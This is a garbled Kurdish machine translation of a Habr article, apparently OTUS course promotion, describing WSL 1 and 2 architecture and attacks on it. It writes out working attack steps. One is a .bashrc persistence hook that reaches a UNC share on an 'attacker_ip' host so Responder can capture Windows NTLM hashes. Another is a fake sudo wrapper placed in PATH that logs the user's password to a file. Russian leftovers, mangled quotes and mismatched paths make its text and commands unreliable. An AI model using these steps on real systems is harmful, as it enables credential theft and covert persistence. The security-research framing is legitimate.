ceribandinên WSL. Beş 1

Merheba, habr! OTUS di Cotmehê de qursek nû dide destpêkirin "Ewlehiya Linux". Li hêviya destpêkirina qursê, em gotarek ku ji hêla mamosteyek me Alexander Kolesnikov ve hatî nivîsandin bi we re parve dikin.

ceribandinên WSL. Beş 1

Di sala 2016 de, Microsoft teknolojiya nû ya WSL bi civaka IT re destnîşan kir (Wnav Ssubsystem ji bo Linux), ku di pêşerojê de gengaz kir ku hevrikên berê yên nelihevkirî yên ku ji bo populerbûnê di nav bikarhênerên OS-ya asayî û pêşkeftî de şer dikirin: Windows û Linux. Vê teknolojiyê îmkan da ku meriv amûrên Linux OS-ê di hawîrdorek Windows-ê de bêyî ku hewcedariya xebitandina Linux-ê bike, bikar bîne, mînakî, bi karanîna Multi-boot. Li ser Habr hûn dikarin hejmareke mezin ji gotaran bibînin ku feydeyên karanîna WSL-ê vedibêjin. Lêbelê, mixabin, di dema çêkirina vê gotarê de, li ser vê çavkaniyê lêkolînek li ser ewlehiya hevrêzek wusa ya pergalên xebitandinê nehat dîtin. Ev post dê bibe hewldanek ji bo rastkirina vê. Gotar dê li ser taybetmendiyên mîmariya WSL 1 û 2 biaxive û çend mînakên êrîşên li ser pergalên ku van teknolojiyên bikar tînin lêkolîn bike. Gotar ji 2 beşan hatiye dabeşkirin. Ya yekem dê rêbazên êrîşa teorîkî ya sereke ji Linux û Windows peyda bike. Gotara duyemîn dê sazkirina hawîrdorek ceribandinê û dubarekirina êrîşan pêk bîne.

WSL 1: taybetmendiyên mîmarî

Ji bo ketina herî rast a pirsgirêkên ewlehiya WSL-ê, pêdivî ye ku nuwazeyên sereke yên ku bi pêkanîna bine-pergalê ve girêdayî ne werin destnîşankirin. Yek ji peywirên bikarhêner ên sereke yên ku ji hêla WSL ve têne çareser kirin ev e ku meriv bi termînalek Linux-ê li ser mêvandarek Windows OS-ê dixebite bixebite. Di heman demê de, lihevhatina ku hatî pêşkêş kirin ew qas xwecî bû ku cîbecîhên Linux (ELF) dikarin rasterast li ser pergalek Windows-ê werin xebitandin. Ji bo bidestxistina van armancan, di Windows 10-ê de bine-pergalek taybetî hate afirandin ku destûrê dide te ku hûn serîlêdanên Linux-ê bi karanîna komek bangên pergalê yên taybetî bimeşînin - bi vî rengî, hewl hat dayîn ku meriv komek pergalên pergalên Linux-ê li ser Windows-ê nexşe bike. Ev ji hêla fizîkî ve bi lêzêdekirina ajokarên nû û forma pêvajoyek nû ve hate bicîh kirin. Bi dîtbarî mîmarî bi vî rengî xuya bû:

ceribandinên WSL. Beş 1

Bi rastî, danûstendina bi pergala xebitandinê ya Linux re bi çend modulên kernel û celebek taybetî ya pêvajoyê - pico hate organîze kirin. Ji diagrama li jor, hûn dikarin bibînin ku pêvajoya ku li ser mînaka Linux-ê li ser mêvandar dimeşîne divê xwecî be û divê heman çavkaniyan wekî serîlêdanên Windows-ê yên birêkûpêk bikar bîne. Lê meriv çawa bigihîje vê yekê? Di projeyê de Drawbridge Têgehên pêvajoyê yên ji bo Windows-ê hatin pêşve xistin ku hemî hêmanên pêdivî yên pergala xebitandinê (li gorî guhertoya wê ve girêdayî) peyda kirin da ku serîlêdanek OS-ya din bimeşîne.

Bala xwe bidinê ku abstrakasyona pêşniyarkirî hişt ku meriv bala xwe nede pergala xebitandinê (bi taybetî Windows), ku tê de pêvajoya OS-ya din dest pê dike, û nêzîkatiyek gelemperî pêşniyar kir.

Bi vî rengî, her serîlêdanek di hundurê pêvajoya pico de dikare bêyî guhdana kernel Windows-ê bixebite:

  1. Pirsgirêkên lihevhatin û wergerandina bangên pergalê divê ji hêla pêşkêşkerên taybetî ve bêne çareser kirin;
  2. Divê kontrolkirina gihîştinê bi rêya Çavdêriya Ewlekariyê were kirin. Monitor di kernelê de cih digire û ji ber vê yekê Windows hewceyê nûvekirinek di forma ajokerek nû de ye ku dikare wekî pêşkêşkerek ji bo pêvajoyên weha tevbigere. Pêvajoya prototîpa pico bi rengek şematîkî li jêr tê pêşkêş kirin:

ceribandinên WSL. Beş 1

Ji ber ku pergala pelan a Linux-ê navên pel û pelrêça-hesas-hesas bikar tîne, 2 celeb pergalên pelan li Windows-ê hatin zêdekirin ku bi WSL - VolFS û DriveFS re bixebitin. VolFS pêkanîna pergala pelan a Linux-ê ye, DriveFS pergalek pelê ye ku li gorî qaîdeyên Windows-ê dixebite, lê xwedan şiyana hilbijartina hesasiyeta dozê ye.

WSL 2

WSL 1 hejmarek sînordar bû ku nehişt ku ew were bikar anîn ji bo çareserkirina herî zêde karan: Mînakî, jêhatîbûn tunebû ku serîlêdanên Linux 32-bit bimeşîne, û ne gengaz bû ku ajokarên cîhazê bikar bîne. Ji ber vê yekê, di sala 2020-an de, WSL 2 hate berdan, ku nêzîkatiya avakirina binpergalê guhert. WSL 2 makîneyek virtual xweşbîn e ku bi taybetmendiyên xerckirina çavkaniyê ya WSL 1 re têkildar e. Naha, li gorî pirsgirêkên ku ji hêla bikarhênerê Windows OS-ê ve têne çareser kirin, hûn dikarin guhertoya pêdivî ya binpergala Linux-ê hilbijêrin. Ji bo kêmkirina qelsiyên muhtemel, WSL 2 li ser bingeha Hyper-V di Windows 10-ê de hate bicîh kirin. Di vê formê de, Windows xwedan şiyana ku kernel pergala xebitandina Linux-ê ji hev veqetîne heye. Hêjayî bibîrxistinê ye ku guhertoya 1-ê ya WSL-ê wekî taybetmendiyek beta-yê ku diviyabû rêwerziya pêşkeftina Windows-ê di vê deverê de nîşan bide hate destnîşan kirin, ji ber vê yekê veguheztina Hyper-V neçar bû. Mîmariya dawîn wiha xuya dike:

ceribandinên WSL. Beş 1

Di vê guhertoyê de, kernelên Windows û Linux-ê çavkaniyên xwe hene û veqetandin tenê di pergala pelan de heye, lê ev hevbendî ne temam e. Têkiliya di navbera pergalên pelan de bi navgîniyek xerîdar-server ku bi protokola 9P-ê dixebite ve tête kirin.

Îro Microsoft şiyana veguheztina di navbera WSL 1 û WSL 2 de peyda dike. Her du versiyonên ji bo karanîna hene.

Ewlekariya WSL

Heya nuha, gelek xebat hene ku hin nêzîkatiyên karanîna amûrên OS-ya rewa ji bo êrişkirina ragihandina di navbera bine-pergalan de diyar dikin. Em ê nivîsarên wan bikar bînin da ku têkiliya êrîşan di dema nivîsandinê de kontrol bikin. Lîsteya giştî ya êrîş û senaryoyan:

1. Pêkanîna pergala pelan: mafên gihîştinê, hebûna pelrêçanên hevbeş / mekanîzmayên danûstendina daneyê.

Lêkolîn ji bo tespîtkirina binpêkirinên qaîdeyên gihîştinê hate kirin Linux FS->Windows FS, Windows FS->Linux FS. Lêkolînê şiyana guheztina pelek diyarkirî di hundurê OS-ya armanc de destnîşan kir. Di heman demê de hewl hat dayîn ku cîhgirin, dubareyan çêbikin û beşek pergalên pelan jêbirin.

Senaryo:

  • A. Êrîşa ji pergala xebitandinê ya Windows - guherandina pelan ji pelrêça /etc ya Linux OS.
  • B. Êrîşa ji pergala xebitandinê ya Linux - guherandina pelan di pelrêçan de: C:Windows, C:Program Files, C:Users<User>

2. Pêkanîna stûyê torê.

Lêkolîn bi karanîna nimûneyên êrîşên ji pergala xebitandina Linux ya li ser Windows-ê hate kirin. Taybetmendiyên stûna torê, ango, mekanîzmayên erêkirinê li ser çavkaniyên cihêreng hatin bikar anîn.

Senaryo:

  • Vekirina gihîştina portek ku li ser pergalek Windows-ê dagirkirî ye
  • Vekirina portek bêyî mafên guncan
  • Bi karanîna pelê elf li ser pergala xebitandina Windows-ê şêlê berevajî dimeşîne.

3. Veşartina destpêkirina pêvajoyên nermalava xerab bi karanîna binepergala WSL.

Lêkolîn li ser bingeha rastiyek hêsan hate çêkirin - bine pergalên ewlehiyê nikarin bûyerên di kernelek din de ku bi karanîna peydakerek rewa ji pergala xebitandinê ya di doza WSL 1-ê de kar dike, bigire. di navkerek cihêreng de di nav makîneya virtual ya sivik de.

Senaryo:

1) Serîlêdanê ji bo gihîştina dûr a pergalê bidin destpêkirin û bûyerên qeydkirî bibînin.

Ceribandinên WSL 1: astengkirina hash (Windows)

Di dawiyê de em gihîştin beşa pratîk. Pêşîn, hûn hewce ne ku hawîrdora testê saz bikin. Hemî ceribandin dê li ser doşekek ku Windows 10 2004 hatî saz kirin bêne kirin. Wêneyê Ubuntu 18.04 wekî wêneya pergala xebitandinê ya WSL hate hilbijartin. Wêneyek bi rasthatinî hate hilbijartin, û yê din dê bi heman rengî bixebite. Fermanên ji bo sazkirina standê:

Divê hûn pêşî dest pê bikin powershell.exe wekî rêvebir.

Ji bo WSL 1 hûn hewce ne ku fermanan bimeşînin:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Piştî ji nû ve destpêkirina standê, hûn dikarin fermana bash telefon bikin. Ger her tişt rast xebitî, hûn ê di konsolê Windows-ê de encamek bi vî rengî bibînin:

    ceribandinên WSL. Beş 1

    Em ê belavkirina Kali Linux-ê wekî makîneya êrîşkar bikar bînin; divê hemî makîneyên li ser heman torê ya herêmî bin.

    Ka em bihesibînin ku me li ser makîneyek Windows-ê gihîştina WSL-ya bêdestûr heye. Werin em hewl bidin ku bi gazîkirina fermanek ji Linux re êrîşî pergala xebitandina Linux bikin. Ji bo pêkanîna êrîşê, em ê teknîkek xweser a hêsan bikar bînin - em ê skrîpta xwe ji bo darvekirinê li hawîrdora Linux-ê zêde bikin. Ji bo vê yekê hûn hewce ne ku pelê biguherînin .bashrc.

    Li ser makîneyek bi WSL em bicîh dikin:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Li ser makîneyek Kali Linux em dixebitin:

    1. Responder -I eth0 -rdvw

    Li ser makîneyek Windows-ê, em bash bidin destpêkirin.

    Em li benda encamê ne li ser makîneya Kali Linux:

    ceribandinên WSL. Beş 1

    Bi vî rengî, me bi cîbicîkirina fermanê li ser pergala Linux-ê bi navgîniya binepergala WSL-ê hashên bikarhêner ên Windows-ê bi dest xist.

    Ceribandinên WSL 1: bidestxistina şîfreya bikarhêner (Linux OS)

    Ka em ceribandinek din bikin. Di dema vê kontrolê de em ê li pelê zêde bikin .bashrc çend ferman ji bo bidestxistina şîfreya bikarhênerê ya pergala xebitandina Linux.

    Ka em bash bidin destpêkirin û fermanan têkevin:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Ji bo ku êrîşê bi serfirazî biqedîne, bikarhêner Sam hewce dike ku di termînala Linux de gazî sudo bike. Piştî vê yekê, şîfreya bikarhênerê Linux OS dê di pelê de be pass.txt:

    ceribandinên WSL. Beş 1

    Pêkanîna êrîşan tenê ji bo agahiyên teorîk hat dayîn.

    Di beşa din a gotarê de dê pêkanîna protokola 9P rave bike, çêkirina skanerek ji bo vê protokolê bifikire, û her weha bi karanîna wê êrişek pêk bîne.

    Lîsteya edebiyata bikarhatî

    ceribandinên WSL. Beş 1

    Read more

    Source: www.habr.com

    Add a comment